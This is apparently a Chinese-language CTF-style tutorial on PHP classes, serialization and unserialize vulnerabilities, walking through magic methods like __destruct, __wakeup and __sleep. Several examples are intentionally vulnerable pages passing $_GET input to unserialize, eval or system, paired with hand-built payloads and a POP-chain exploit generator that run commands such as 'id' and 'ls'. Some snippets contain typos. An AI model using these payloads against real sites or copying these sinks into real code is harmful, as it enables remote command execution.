反序列化从入门到入土

面向对象

程序开发:面向过程vs面向对象

面向过程

面向过程是一种以“整体事件”为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,再一步一步的具体步骤中再按顺序调用函数。

面向对象

面向对象是一种以“对象”为中心的编程思想,把要解决的问题分解成各个“对象”;

对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。

类的定义

类是定义了一件事情的抽象特点,它将数据的形式以及这些数据上的操作封装在一起。对象是具有类类型的变量,是对类的实例。

内部构成:成员变量(属性)+成员函数(方法)

法师、坦克、刺客,像moba这种游戏的每种职业在写底层代码的时候也都会分成一个一个的类。

成员变量(属性)

定义在类内部的变量。该变量的值对外是不可见的,但是可以通过成员函数访问,在类被实例化为对象后,该变量即可成为对象的属性。

成员函数(方法)

定义在类的内部,可用于访问对象的数据

继承

继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系。

在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行把一个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容

父类:一个类被其他类继承,可将该类成为父类,或基类,超类。

子类:一个类继承其他类称为子类,也可称为派生类 。

类与对象

类是对象的抽象,而对象是类的具体实例。类是想法,把类实例化(new),调用具体值后就变成了对象。

类的结构

类的内容

实例化和赋值

类的修饰符介绍

类的结构

类:定义类名、定义成员变量(属性)、定义成员函数(方法)

class Class_Name{
//成员变量声明
//成员函数声明
}

类的内容

创建一个类

<?php
class hero{
    var $name = 'benben';
    var $sex;
    function jineng($var1){
        echo $this -> name; //调用当前类的成员属性需要加上$this,如果直接写echo $name是会报错的。
        echo $var1;
    }
}
?>

这个代码运行以后不会有任何结果

只有加上$cyj = new hero();,这样才会生成一个对象

<?php
class hero{
    var $name = 'benben';
    var $sex;
    function jineng($var1){
        echo $this -> name; //调用当前类的成员属性需要加上$this,如果直接写echo $name是会报错的。
        echo $var1;
    }
}
$cyj = new hero();
$cyj->name = '程咬金'
$cyj->sex = '男';
print_r($cyj);
?>

输出结果

如果将$cyj->sex = ‘男’; 注释掉,他同样会调用sex的成员属性,但是成员方法为空

实例化和赋值

<?php
class hero{
    var $name;
    var $sex;
    function jineng($var1){
        echo $this->name;
        echo $var1;
    }
}
$cyj = new hero(); //实例化类hero()为对象cyj
$cyj->name='chengyaojin'; //参数赋值
$cyj->sex='man';  
$cyj->jineng('zuofan'); //调用函数
print_r($cyj); //打印对象cyj
?>

类的修饰符介绍

在类中直接声明的变量称为成员属性(也可以称为成员变量)

可以在类中声明多个变量,即对象中可以有多个成员属性,每个变量都存储“对象”不同的属性信息。

访问权限修饰符:对属性的定义

常用访问权限修饰符:

public:公共的,在类的内部、子类中或者类的外部都可以使用,不受限制;

可以在任何地方进行调用

protected:受保护的,在类的内部、子类中可以使用,但不能在类的外部使用;

private:私有的,只能在类的内部使用,在类的外部或者子类中都无法使用。

<?php
class hero{
    public $name='chengyaojin';
    private = $sex='man';
    protected $shengao='165';
    function jineng($var1){
        echo $this->name;
        echo $var1;
    }
}
$cyj = new hero();
echo $cyj->name;
echo $cyj->sex;
echo $cyj->shengao;
?>

此时运行这个代码,如果你想调用sex这个类的时候它会发生报错

报错产生原因是在类的外部(或类的子类中)试图直接访问了这个私有属性$sex,导致了错误。

序列化基础知识

序列化的作用

序列化之后的表达方式/格式

对象序列化的详细讲解

序列化的作用

序列化(Serialization)是将对象的状态信息(属性)转换为可以存储或传输的形式的过程、

将对象或者数组转化为可存储/传输的字符串。

表达方式

<?php
    $a = null;
    echo serialize($a);
?>

所有格式第一位都是数据类型的英文字母简写

输出结果就是null,什么都木有

:PHP序列化后的基本类型表达

布尔值(bool) b:value => b:0
整数型(int) i:value => i:1
字符串型(str) s:length: "value"; => s:4:"aaaa"
数组型(array) a:<length>:{key,value pairs}; => a:1:{i:1;s:1:"a"}
对象型(object) O:<class_name_length>
NULL型:N

对象序列化的详细讲解

基本理解

<?php
    class test{
        public $pub = 'benben';
        function jineng(){
            echo $this->pub;
        }
}
$a = new test();
echo serialize($a);
?>

运行结果:O:4:”test”:1:{s:3:”pub”;s:6:”benben”;}

O代表对象;4代表对象的长度为4;test是序列化的对象的名称;1表示这个对象中存在1个属性;第1个属性s表示是字符串;3表示属性名的长度,后面说明属性名称是pub;第2个属性是s表示是字符串,6表示属性名的长度,后面说明属性名称是benben

<?php
class test{
    private $pub = 'benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?>

运行结果:O:4:”test”:1:{s:9:”testpub”;s:6:”benben”;}

private私有属性序列化时,在变量名前加“%00类名%00”

因此这里的testpub长度会显示9,相当于7+2,%00就相当于Null

<?php
    class test{
        var $pub = 'benben';
        function jineng(){
            echo $this -> pub;
        }
    }
    class test2{
        var $ben;
        function __construct(){
            $this->ben=new test();
        }
    }
    $a = new test2();
    echo serialize($a);
?>

把一个对象赋值给成员属性,序列化后,序列化的对象里面包含了一个序列化的对象。

运行结果:O:5:”test2”:1:{s:3:”ben”;O:4:”test”:1:{s:3:”pub”;s:6:”benben”;}}

对象$a在实例化类’test2’时调用另一个类’test’实例化后的对象

反序列化的特性

1、反序列化之后的内容为一个对象;

2、反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关;

3、反序列化不触发类的成员方法;需要调用方法后才能触发;

反序列化的作用

将序列化后的参数还原成实例化的对象。

<?php
class test{
    public $a = 'benben';
    protected $b = 666;
    private $c = false;
    public function displayVar(){
        echo $this->a;
    }
}
$d = new test();
$d = serialize($d);
 echo urlencode($d);
$a = urlencode($d);
$b = unserialize(urldecode($a));
var_dump($b);
?>

输出结果:

O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
object(test)#1 (3) {
  ["a"]=>
  string(6) "benben"
  ["b":protected]=>
  int(666)
  ["c":"test":private]=>
  bool(false)
}

成员属性反序列化后生成的字符串和其本身就已经没有关系,反序列化生成的对象里的值,由反序列化的值(字符串$a)提供;与原有类预定义的值无关

<?php
class test{
    public $a = 'benben';
    protected $b = 666;
    private $c = false;
    public function displayVar(){
        echo $this->a;
    }
}
$d = 'O:4:"test":3:{s:1:"a";s:8:"dazhuang";s:4:"%00*%00b";i:888;s:7:"%00test%00c";b:1;}';
$e = urldecode($d);
$f = unserialize($e);
$f->displayVar();
?>

成员方法得从类来,只有类还在才能进行反序列化,如果类不在了就无法进行调用了,就会直接报错,并且当你将序列化语句进行修改时,一定要都修改对,比如这里的dazhuang是8个字符,而前面的benben是6个字符,如果你修改成了dazhuang却没有改字符个数,那么也会报错的

当把这个类删掉后就会发生报错

反序列化漏洞例题

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $a = 'echo "this is a test!!";';
    public funtion displayVar() {
        eval($this->a);
    }
}
$get = $_GET["benben"];
$b = unserialize($get);
$b ->displayVar();
?>

整个动作就是输入字符串给到get,页面会将你给到get的字符串进行反序列化

我们构造的字符串$a一定要等于我想执行的命令

只要能控制a就能控制eval里面的命令

上来先练习如何手搓反序列化payload:O:4:”test’:1:{s:1:”a”;s:13:”system(“id”);”;}

这样就可以执行查看当前id的命令了

魔术方法简介

什么是魔术方法

一个预定义好的,在特定情况下自动触发的行为方法。

魔术方法的作用

反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码;通过调用方法,触发代码执行。

魔术方法在特定条件下自动调用相关方法,最终导致触发代码。

魔术方法相关机制

触发时机

功能

参数

返回值

__construct()

<?php
class User{
    public $username;
    public function __construct($username){
        $this->username = $username;
        echo "触发了构造函数1次";
    }
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>

触发了一次构造函数,construct这个魔术方法,只有在new一个对象的时候才会触发。

__destruct()

析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法。

<?php
highlight_file(__FILE__)
error_reporting(0)
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval ($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);
?>

Payload: O:4:”User”:1:{s:3:”cmd”;s:13:”system(‘id’);”;}

反序列化的时候会自动触发destruct魔术方法

__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()

如果存在,该方法会先被调用,然后才执行序列化操作。

此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。

如果该方法未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误。

触发时机:序列化serialize()之前

功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

参数:成员属性

返回值:需要被序列化存储的成员属性

<?php
class User{
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username,$nickname,$password) {
        $this->username=$username;
        $this->nickname=$nickname;
        $this->password=$password;
    }
    public function __sleep(){
        return array('username','nickname');
    }
}
$user = new User('a','b','c'); //触发construct
echo serialize($user); //触发sleep
?>

运行结果: O:4:”User”:2:{s:8:”username”;s:1:”a”;s:8:”nickname”;s:1:”b”;}

例题
<?php
class User{
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username,$nickname,$password){
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    } 
    public function __sleep(){
        system($this->username);
    }
}
$cmd = $_GET['benben'];
$user = new User('$cmd','b','c');
echo serialize($user);
?>

直接就可以利用sleep漏洞进行命令执行了

__wakeup()

unserialize()会检查是否存在一个__wakeup()方法。

如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源。

预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

触发时机:反序列化unserialize()之前

__wakeup()在反序列化unserialize()之前

__destruct()在反序列化unserialize()之后

<?php
class User{
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup(){
        $this->password = $this->username;
    }
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}'; //反序列化前触发wakeup,给password赋值
var_dump(unserialize($user_ser));
?>

输出:

object(User)#1 (4) {
  ["username"]=>
  string(1) "a"
  ["nickname"]=>
  string(1) "b"
  ["password":"User":private]=>
  string(1) "a"
  ["order":"User":private]=>
  NULL

我们可以看到,在类中password是没有被赋值的,但是在输出中password的值变成了a,是因为在反序列化之前触发了wakeup的魔术方法,将username的值赋值给了password,而username的值就是a

例题
<?php
class User{
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup(){
        system($this->username)
    }
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>

payload: O:4:”User”:1:{s:8:”username”;s:2:”id”;}

//这里的单双引号是不一样的,这里的单双引号有什么区别?……

__toString()

表达方式错误导致魔术方法触发

触发时机:把对象当成字符串调用 常用于构造pop链

<?php
highlight_file(__FILE__);
error_reporting(0);
class User{
    var $benben = "this is test!!";
        public function __toString()
        {
             return '格式不对,输出不了!';
        }
}
$test = new User();
print_r($test);
echo "<br />";
echo $test;
?>

你把它强制转换了,把对象强制转换成了字符串,就会触发__toString魔术方法

__invoke()

<?php
function dazhuang(){
    echo "这是一个函数!";
}

class User {
    var $benben = "this is a test!!";
    public function __invoke()
    {
        echo "它不是个函数!";
    }
}
$test = new User();
dazhuang();//调用dazhuang这个函数,echo这是一个函数
$test(); //触发了invoke魔术方法,将对象当作函数调用了,echo它不是个函数

__call()

触发时机:调用一个不存在的方法

举例:调用的方法callxxx()不存在,触发魔术方法call()

<?php
class User {
    public function __call($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
    }
}
    $test = new User();
    $test-> callxxx('a');
?>

调用的方法callxxx()不存在,触发魔术方法call()

触发call(),传参$arg1,$arg2 (callxxx,a)

$arg1,调用的不存在的方法的名称; 即callxxx

$arg2,调用的不存在的方法的参数; 即a

__callStatic()

触发时机:静态调用或调用成员常量时使用的方法不存在

和 call魔术方法差不多,只是调用的方法有区别

__get()

触发时机:调用的成员属性不存在

参数:传参$arg1

返回值:不存在的成员属性的名称

<?php
class User {
    public $var1;
    public function __get($arg1)
    {
        echo $arg1;
    }
}
$test = new User();
$test->var2; //尝试调用var2,但是没有这个成员属性,只有var1,于是触发了get魔术方法
?>

__set()

触发时机:给不存在的成员属性赋值

参数:传参$arg1,$arg2

返回值:不存在的成员属性的名称和赋的值

<?php
class User {
    public $var1;
    public function __set($arg1,$arg2)
    {
        echo $arg1.','.$arg2;
    }
}
$test = new User();
$test->$var2=1;
?>

__isset()

触发时机:对不可访问属性使用isset()或empty()时,__isset()会被调用。

参数:传参$arg1

返回值:不存在的成员属性的名称

<?php
class User{
    private $var;
    public function __isset($arg1)
    {
        echo $arg1;
    }
}
$test = new User();
isset($test->var);
?>

__unset()

触发时机:对不可访问属性使用unset()时

参数:传参$arg1

返回值:不存在的成员属性的名称

<?php
class User {
    private $var;
    public function __unset($arg1)
    {
        echo $arg1;
    }
}
$test = new User();
unset($test->var);
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    private $var;
    public function __unset($arg1)
    {
        echo $arg1;
    }
}
$test = new User();
unset($test->var);
?>

触发魔术方法__unset输出var

__clone()

触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()

功能:

参数:

返回值:

<?php
class User {
    private $var;
    public function __clone()
    {
        echo "__clone test";
    }
}
$test = new User();
$newclass = clone($test)
?>

pop链前置知识

<?php
class index {
    private $test;
    public function __construct() {
        $this->test = new normal(); } //摆设
    public function __destruct() {
        $this->test->action();}
}
class normal {
    public function action(){
        echo "please attack me"; }
}
class evil{
    var $test2;
    public function action(){  //action不是一个魔术方法
        eval($this->test2); }
}
unserialize($_GET['test']);
?>

exp构造

<?php
class index {
    private $test;
    public function __construct() {
        $this->test = new evil(); 
    }
}
class evil {
    var $test2 = "system('ls');";
}
$a = new index();
echo urlencode(serialize($a));